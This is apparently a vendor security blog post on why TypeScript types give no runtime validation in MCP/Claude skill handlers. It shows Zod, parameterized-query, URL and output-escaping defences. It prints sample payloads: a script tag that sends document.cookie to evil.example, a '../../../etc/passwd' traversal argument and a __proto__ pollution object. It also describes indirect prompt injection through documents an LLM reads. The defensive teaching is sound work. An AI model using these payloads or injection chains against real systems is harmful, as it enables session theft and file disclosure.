← Blog

Claude Skill Input Validation: How TypeScript Types Fail at Runtime and What to Do Instead

Most Claude skill developers write TypeScript. TypeScript provides compile-time type safety — and that safety stops precisely at compile time. When an MCP client sends a tool call with unexpected argument types, your TypeScript types have already been erased. What the skill handler receives is unknown shaped to look like whatever TypeScript promised. Adversarial inputs exploit exactly this gap: a skill that validates arguments at the type level only is silently bypassed by any caller that ignores your schema. The SA-SKL-STR family — twelve runtime input validation vulnerabilities across schema bypass, sanitization bypass, and output encoding — exists entirely because compile-time types are not runtime contracts.

By SkillAudit  |  3 Nov 2026  |  SA-SKL-STR  |  1600+ words

Why TypeScript type safety stops at the MCP boundary

TypeScript is a compile-time tool. It checks that your code correctly handles arguments of a declared type — but it cannot check what arrives over the wire at runtime. MCP tool calls are JSON messages: a JSON object arrives, the MCP SDK deserializes it, and your handler receives it as the type you declared. There is no runtime check that the deserialized object actually conforms to your declared type.

This means that a Claude skill handler declared as:

// TypeScript declaration — zero runtime enforcement
interface ReadFileArgs {
  path: string;
  encoding?: 'utf8' | 'latin1' | 'base64';
}

async function handleReadFile(args: ReadFileArgs): Promise<string> {
  const encoding = args.encoding ?? 'utf8';
  return fs.readFile(args.path, { encoding });
}

will happily accept { path: "../../../etc/passwd", encoding: "utf8" } from any MCP client because the type annotation on ReadFileArgs is erased at the JavaScript level. The handler sees a plain JavaScript object. The args.path access is a property read on an unvalidated unknown. TypeScript has already confirmed that IF the argument is a ReadFileArgs, the code handles it correctly. It has said nothing about what happens when the argument is adversarial.

The MCP call path makes this worse: an LLM is constructing the arguments. The LLM reads external content — a PDF, an email, a web page — and uses that content to decide how to call your tool. Any attacker-controlled string in that external content can become a tool argument. This is the indirect prompt injection delivery chain: attacker embeds instructions in a document, LLM processes the document and crafts a tool call, the tool call arguments contain attacker content, and the skill handler receives it with no runtime validation.

Type declarations are documentation, not validation: a TypeScript interface on a tool handler argument is a contract between the developer and the TypeScript compiler. It is not a contract with the MCP runtime. An MCP client — including an LLM following injected instructions — can send any JSON object to your tool handler. The only thing preventing an attacker argument from reaching your handler logic is runtime validation code that you explicitly write.

The SA-SKL-STR family: three categories of runtime input failure

The SA-SKL-STR family covers twelve specific runtime input handling vulnerabilities across three categories. Each category represents a different failure mode in the same underlying problem: the skill trusts argument content without verifying it at runtime.

Category 1 — Schema validation bypass (STR-001 through STR-004)

The SA-SKL-STR schema validation bypass findings cover skills that process structured inputs without runtime schema enforcement. The four patterns are:

The root cause is the same across all four: the handler assumes the argument structure matches the TypeScript declaration. In STR-002, a prototype pollution payload is accepted because there is no check rejecting objects with __proto__ or constructor keys. In STR-003, the default branch of a switch is either absent or reaches code that should only execute for trusted argument shapes.

Category 2 — Sanitization bypass (STR-005 through STR-008)

The SA-SKL-STR input sanitization bypass findings cover skills that receive string inputs and pass them to sinks without escaping or parameterization. These are the most directly exploitable vulnerabilities in the family:

What makes STR-005 and STR-006 critical in the MCP context is the delivery mechanism: the LLM constructs the argument from external content it reads. A file the LLM processes might contain <script>fetch('https://evil.example/'+document.cookie)</script> — which becomes the value of args.content when the LLM passes it to your tool. The MCP skill never receives a human-typed input; it receives whatever the LLM decided to pass based on what it read. Attacker control of any document in the LLM's context is attacker control of any string argument in your tool handler.

Category 3 — Output encoding (STR-009 through STR-012)

The SA-SKL-STR output encoding findings address a subtler category: vulnerabilities in what the skill returns, not what it receives. Claude skills return text that the LLM incorporates into its response. If that text contains Markdown, LaTeX, or citation syntax, the Claude UI may render it. Attacker-controlled content in tool results can inject clickable phishing links, fake citations, or diagram code containing JavaScript callbacks.

The prompt injection connection: attacker-controlled documents as delivery vehicle

The STR family does not live in isolation. It connects directly to indirect prompt injection: the mechanism by which attackers embed payloads in external content that reaches your skill through the LLM. Understanding this delivery chain changes how you think about validation.

A traditional web API receives inputs from authenticated users who typed them or from services you control. An MCP skill receives inputs from an LLM that processed external content that might have been crafted by anyone. The document your skill reads — the email being summarized, the web page being fetched, the code file being reviewed — is attacker-controlled territory. Any string in that document can become any string argument in your tool handler if the LLM decides to pass it.

This means that STR-006 (SQL injection) is not just a risk from a malicious user typing SQL into a field. It is a risk from a document that happens to contain SQL syntax, which the LLM passes verbatim to a summarization tool, which concatenates it into a query. The LLM is not a sanitizing proxy. It passes strings. Validation must happen in the skill handler, not by trusting the LLM to filter attacker content before it reaches your code.

The LLM is not a sanitizing proxy: never rely on the LLM to filter or escape argument values before passing them to your tool handler. The LLM’s job is to invoke tools with values derived from what it reads. Attacker-controlled document content reaches tool arguments without modification. Your handler is the trust boundary — validate at the handler, not at the LLM.

Practical Zod validation patterns for MCP tool arguments

Zod is the most widely used runtime validation library for TypeScript MCP skills. It solves the compile-time/runtime gap: a Zod schema is both a TypeScript type definition and a runtime validator. When you parse arguments through a Zod schema, you get a guaranteed-shaped object or a thrown error — never an unvalidated unknown flowing into your handler logic.

import { z } from 'zod';

// WRONG: TypeScript type only — zero runtime enforcement
interface ReadFileArgs { path: string; maxBytes?: number; }

// RIGHT: Zod schema — TypeScript type AND runtime validator
const ReadFileSchema = z.object({
  // string() rejects undefined, null, number, object — anything not a string
  path: z.string()
    .min(1, 'path cannot be empty')
    .max(4096, 'path too long')
    // custom refinement: reject obvious traversal sequences at parse time
    .refine(p => !p.includes('..'), 'path traversal not allowed')
    .refine(p => !p.startsWith('/etc') && !p.startsWith('/proc'), 'system paths not allowed'),
  maxBytes: z.number().int().min(1).max(10_485_760).optional(),  // max 10 MB
});

// Infer TypeScript type from the Zod schema — single source of truth
type ReadFileArgs = z.infer<typeof ReadFileSchema>;

// In the tool handler:
async function handleReadFile(rawArgs: unknown): Promise<string> {
  // parse() throws ZodError with a detailed message on any validation failure
  // The thrown error propagates to the MCP runtime as a tool error — not a crash
  const args = ReadFileSchema.parse(rawArgs);
  // args is now typed AND validated — TypeScript and runtime agree
  const content = await fs.readFile(args.path, 'utf8');
  return content;
}

// For SQL queries: parameterized queries, not string interpolation
// Even with validated args, always use parameterization as a second layer
async function queryUser(userId: string): Promise<User> {
  // WRONG: `SELECT * FROM users WHERE id = '${userId}'`
  // RIGHT: parameterized query — driver escapes the value
  return db.get('SELECT * FROM users WHERE id = ?', [userId]);
}

// For URL validation: parse with URL constructor, then check against allowlist
function validateExternalUrl(rawUrl: string): URL {
  let url: URL;
  try {
    url = new URL(rawUrl);  // throws on malformed URLs
  } catch {
    throw new Error('Invalid URL');
  }
  // Protocol allowlist: only https (rejects file:, javascript:, data:)
  if (url.protocol !== 'https:') throw new Error('Only HTTPS URLs allowed');
  // Hostname resolution: Node.js resolves hostnames; block reserved ranges in code
  // Use an external DNS-rebinding protection library for production
  const blockedPatterns = [/^localhost$/i, /^127\./, /^10\./, /^192\.168\./, /^::1$/];
  if (blockedPatterns.some(p => p.test(url.hostname))) {
    throw new Error('Private/loopback URLs not allowed');
  }
  return url;
}

Handling prototype pollution: object validation with Zod vs lodash merge

STR-002 (prototype pollution via additionalProperties and _.merge) deserves specific attention because its impact is session-spanning: a prototype pollution attack in one tool call can grant elevated privileges in every subsequent call in the MCP session. Zod’s z.object() by default strips unknown keys (in .strip() mode) and can be set to reject them entirely with .strict().

// VULNERABLE: Object.assign or _.merge with unvalidated input
import _ from 'lodash';

function mergeConfig_VULNERABLE(userConfig: object) {
  // If userConfig contains { "__proto__": { "isAdmin": true } },
  // _.merge follows the __proto__ chain and pollutes Object.prototype
  return _.merge({}, defaultConfig, userConfig);
}

// SAFE OPTION 1: Zod strict — rejects unknown keys, never passes __proto__
const SafeConfigSchema = z.object({
  theme: z.enum(['light', 'dark']),
  language: z.string().max(10),
}).strict();  // .strict() throws on any extra key, including __proto__

function mergeConfig_SAFE_ZOD(rawConfig: unknown) {
  const config = SafeConfigSchema.parse(rawConfig);  // throws on __proto__ key
  return { ...defaultConfig, ...config };
}

// SAFE OPTION 2: JSON.parse + JSON.stringify round-trip sanitizes prototype chain
// (prototype references are not JSON-serializable)
function mergeConfig_SAFE_ROUNDTRIP(rawConfig: unknown) {
  // Strip prototype chain by round-tripping through JSON
  const sanitized = JSON.parse(JSON.stringify(rawConfig));
  return Object.assign(Object.create(null), defaultConfig, sanitized);
}

// SAFE OPTION 3: Object.assign with Object.create(null) base — no prototype chain to pollute
function mergeConfig_SAFE_NULL_PROTO(rawConfig: Record<string, unknown>) {
  const safeBase = Object.create(null);
  // Only copy explicitly allowed keys
  const allowedKeys = ['theme', 'language'] as const;
  for (const key of allowedKeys) {
    if (key in rawConfig) safeBase[key] = rawConfig[key];
  }
  return safeBase;
}

Output encoding: escaping tool results before they reach Claude’s renderer

Output encoding vulnerabilities (STR-009 through STR-012) require a different approach because the problem is in what you return, not what you receive. Tool results are incorporated into Claude’s response and may be rendered as Markdown. User-controlled content in tool results should be stripped of Markdown syntax before being returned, or wrapped in code blocks that prevent link rendering.

// Markdown link injection defense: strip or escape bracket-paren link syntax
function escapeMarkdown(userContent: string): string {
  return userContent
    .replace(/\[([^\]]+)\]\(([^)]+)\)/g, '$1')    // [text](url) → text (remove link)
    .replace(/\[([^\]]+)\]/g, '\\[$1\\]')          // [text] → \[text\] (escape brackets)
    .replace(/<(https?:\/\/[^>]+)>/g, '$1');  // <url> → url (remove auto-link angle brackets)
}

// For returning user-controlled content in tool results:
// Wrap in a code block — Markdown is not rendered inside code blocks
function wrapAsCodeBlock(userContent: string, language = ''): string {
  // Escape any backtick sequences that would prematurely close the code block
  const escaped = userContent.replace(/```/g, '\\`\\`\\`');
  return `\`\`\`${language}\n${escaped}\n\`\`\``;
}

// For document summarization: return only extracted structured data, not raw content
// WRONG: return the raw document text (may contain injected Markdown)
// RIGHT: return a summary object that your handler constructs
async function summarizeDocument_SAFE(documentUrl: string) {
  const content = await fetchDocument(documentUrl);
  // Never return raw content — build a structured summary the skill constructs
  return {
    title: extractTitle(content).slice(0, 200),
    wordCount: countWords(content),
    keyPoints: extractKeyPoints(content).map(p => p.replace(/[[\]()]/g, '')),  // strip Markdown syntax
    // If raw content is needed, wrap it — never return it bare
    rawContent: wrapAsCodeBlock(content, 'text')
  };
}

Defense-in-depth: the five-layer stack

No single layer closes all twelve STR findings. Runtime validation with Zod stops schema bypass (STR-001 through STR-004) and catches malformed inputs before they reach sinks. Parameterized queries stop SQL injection (STR-006) even if a malformed string somehow passes initial validation. Context escaping stops output injection (STR-009 through STR-012). Together, the stack is:

LayerWhat it stopsTool
1. Schema validation at handler entrySTR-001 to STR-004: wrong types, extra keys, prototype pollution, discriminant bypassZod .parse() or AJV
2. Parameterized queriesSTR-006: SQL injection regardless of what passes layer 1DB driver placeholders (?), ORMs with bind params
3. URL structural validation + hostname checkSTR-008: SSRF via decimal, hex, IPv6, DNS rebindingnew URL() + allowlist
4. Output escaping before returnSTR-009 to STR-012: Markdown/LaTeX/Mermaid/citation injection in tool resultsCustom escape + code-block wrapping
5. LLM system prompt framingReduces prompt injection effectiveness by establishing a strong operating contextExplicit system prompt with tool usage constraints

Use safeParse() for graceful error handling: Zod’s .parse() throws a ZodError on validation failure, which propagates as an MCP tool error. For user-facing tools where you want to return a structured error message rather than throw, use .safeParse(): it returns { success: true, data: ... } or { success: false, error: ZodError } without throwing. This is particularly useful for tools that should tell the LLM what was wrong with its arguments so it can retry with corrected values.

What SkillAudit detects in the SA-SKL-STR family

SkillAudit’s static analyzer detects STR vulnerabilities through AST-level pattern matching on skill source code. For each STR finding category:

Related attack families that interact with STR: the full SA-SKL attack surface reference covers how STR findings escalate when combined with SA-SKL-SBX (sandbox escape) and SA-SKL-CLI (subprocess injection). A skill that passes an unvalidated argument to child_process.exec() is simultaneously a STR-006 analog (injection) and a SBX/CLI finding (host OS execution). The intersection of injection and execution is where CRITICAL findings live.

Check your Claude skill for SA-SKL-STR input validation vulnerabilities

SkillAudit detects TypeScript-only validation, prototype pollution, SQL injection, SSRF, and Markdown output injection across the full STR family in 60 seconds.

Get your free audit